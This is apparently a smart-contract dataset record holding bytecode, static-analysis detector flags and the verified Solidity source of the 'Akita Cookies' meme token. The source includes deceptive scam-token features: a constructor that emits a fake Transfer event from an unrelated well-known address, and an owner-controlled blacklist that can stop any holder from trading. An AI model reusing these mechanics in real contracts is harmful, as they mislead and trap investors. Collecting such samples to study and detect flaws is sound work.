0200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019050949350505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b6000611d9085848661118b565b9050949350505050565b600081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b600080600080611f138c8c8c8c8c8c8c612b4f565b92507361388904afac03beb15173340dfe3e634fcd7c166319045a2584876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611faa578082015181840152602081019050611f8f565b50505050905090810190601f168015611fd75780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b158015611ff557600080fd5b505af4158015612009573d6000803e3d6000fd5b505050506040513d602081101561201f57600080fd5b810190808051906020019092919050505091508173ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff1614151561206c57600080fd5b8643111561207957600080fd5b6004600084600019166000191681526020019081526020016000205490506001600460008560001916600019168152602001908152602001600020819055506000811415156120c757600080fd5b87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a61338b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a361222a8c338c8b6116ac565b151561223557600080fd5b88600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618d8c604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36001935050505098975050505050505050565b600061243082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253f82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b60006126758989898989898989611efe565b151561268057600080fd5b61268c898989896116ac565b151561269757600080fd5b6001905098975050505050505050565b600061273882600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156129e457600080fd5b505af11580156129f8573d6000803e3d6000fd5b505050506040513d6020811015612a0e57600080fd5b8101908080519060200190929190505050507ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567838684600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a160019050949350505050565b60008060007f313236b6cd8d12125421e44528d8f5ba070a781aeac3e5ae45e314b818734ec36001029150818a8a308b8b8b8b8b604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401858152602001848152602001838152602001828152602001985050505050505050506040518091039020604051808360001916600019168152602001826000191660001916815260200192505050604051809103902090508092505050979650505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d7657600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612e3a57600080fd5b505af1158015612e4e573d6000803e3d6000fd5b505050506040513d6020811015612e6457600080fd5b8101908080519060200190929190505050905092915050565b6000612e8f8a8a8a8a8a8a8a8a611efe565b1515612e9a57600080fd5b8873ffffffffffffffffffffffffffffffffffffffff16638f4ffcb18b898b866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612f8f578082015181840152602081019050612f74565b50505050905090810190601f168015612fbc5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612fde57600080fd5b505af1158015612ff2573d6000803e3d6000fd5b50505050600190509998505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561306257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561313b57fe5b818303905092915050565b600080828401905083811015151561315a57fe5b80915050929150505600a165627a7a72305820f3b845e53ea8f2fb083f33bd0e8a6d4a49c7ec83386d90a2b4d3400b1e28bb890029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,630 |
0x4ed5cb6ade80c8400480fd11454c7fafd0e62c86
|
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/*
t.me/aookies
Akita Cookies
$AOOKIES
//CMC and CG application done.
//Marketing paid.
//Limit Buy yes (max 0.5%)
//Liqudity Locked
//No Devwallets
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AOOKIES is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Akita Cookies";
string private constant _symbol = 'AOOKIES 🍪';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 7;
_teamFee = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 7;
_teamFee = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280600d81526020017f416b69746120436f6f6b69657300000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601181526020017f414f4f4b4945532026233132373835303b000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803